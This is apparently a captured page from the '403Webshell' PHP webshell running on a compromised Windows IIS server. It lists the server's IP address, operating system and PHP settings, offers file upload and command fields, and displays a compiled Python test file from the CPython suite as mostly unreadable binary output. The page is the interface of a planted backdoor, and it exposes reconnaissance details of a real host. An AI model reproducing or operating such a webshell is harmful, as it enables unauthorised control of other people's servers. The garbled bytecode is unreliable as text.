403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_fork1.cpython-313.opt-1.pyc
�

��i�
����SrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	J
r
 SSKJr \R(d\R"S5e"SS\
5rSr\S	:Xa\R$"5 gg)
z.This test checks for correct fork() behavior.
�N)�ForkWait)�supportz$test module requires working os.forkc� �\rSrSrSrSrSrg)�ForkTest�c��^^^^	�[R"5mSmSm	SmUUUU	4Sjn[R"US9nUR5 TR	5 Sn[
R"5nU(d^[T5nUT:Xa[
R"U5 OU[RS:�a[S5 [
R"S5 OUR5 URXCS	9 [
R"U[R 5 g
!["a g
f=f![
R"U[R 5 f!["a ff=f=f)zFCheck fork() in main thread works while a subthread is doing an importzfake test module�partial�completec��>�[R"5 T[RT'TR	5 [
R"S5 T[RT'[R"5 g)Ng{�G�z�?)�imp�acquire_lock�sys�modules�set�time�sleep�release_lock)�complete_module�fake_module_name�import_started�partial_modules�����$C:\Python313\\Lib\test\test_fork1.py�importer�9ForkTest.test_threaded_import_lock_fork.<locals>.importersQ�������,:�C�K�K�(�)���� ��J�J�t��,;�C�K�K�(�)�����)�target�*�z Child encountered partial module��exitcodeN)�	threading�Event�Thread�start�wait�os�fork�
__import__�_exitr�verbose�print�join�	wait_impl�kill�signal�SIGKILL�OSError)
�selfr�tr �pid�mrrrrs
      @@@@r�test_threaded_import_lock_fork�'ForkTest.test_threaded_import_lock_forks���"���*��-��"��$��	�	�
���H�-��	���	��������g�g�i��	���/�0����'��H�H�X�&�����*��@�A��H�H�Q�K��������s��6�
�����V�^�^�,���
��
��
�����V�^�^�,���
��
�sC�5BD0�:%D � 
D-�,D-�0E(�2%E�E(�
E%�"E(�$E%�%E(c�N^^�SmUU4Sjn[S5HnU"U5 M
 g)zJCheck fork() in main thread works while the main thread is doing an importrc�8>�SnSn[U5Hn[R"5 US-
nM [R"5nU(+n[U5Hn[R
"5 M U(a[R"T5 TRUTS9 g![U5Hn[R
"5 M f=f![a> U(a5[RS:�a[S5 [R"S5 ef=f)NrFrzRuntimeError in childr)�rangerr
r&r'r�RuntimeErrorrr*r+r)r-)�level�release�in_child�ir4r r2s     ��r�fork_with_import_lock�DForkTest.test_nested_import_lock_fork.<locals>.fork_with_import_lockEs�����G��H�
�+�"�5�\���(�(�*��1���*��'�'�)�C�#&�w�H�"�7�^���(�(�*�,������"��N�N�3��N�2��#�7�^���(�(�*�,���
������*��5�6��H�H�Q�K��
�s�AB%�'C�%)C�C�AD�N)r:)r2r@r<r s`  @r�test_nested_import_lock_fork�%ForkTest.test_nested_import_lock_forkAs%�����	3�2�1�X�E�!�%�(�r�N)�__name__�
__module__�__qualname__�__firstlineno__r6rC�__static_attributes__rErrrrs
��(�V)rrc�.�[R"5 g)N)r�
reap_childrenrErr�tearDownModulerMbs�����r�__main__)�__doc__�_imprr&r/rr!r�unittest�test.fork_waitr�testr�has_fork_support�SkipTestrrMrF�mainrErr�<module>rWsp����	�
�
����#�����
�
�
�B�
C�C�J)�x�J)�Z��z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit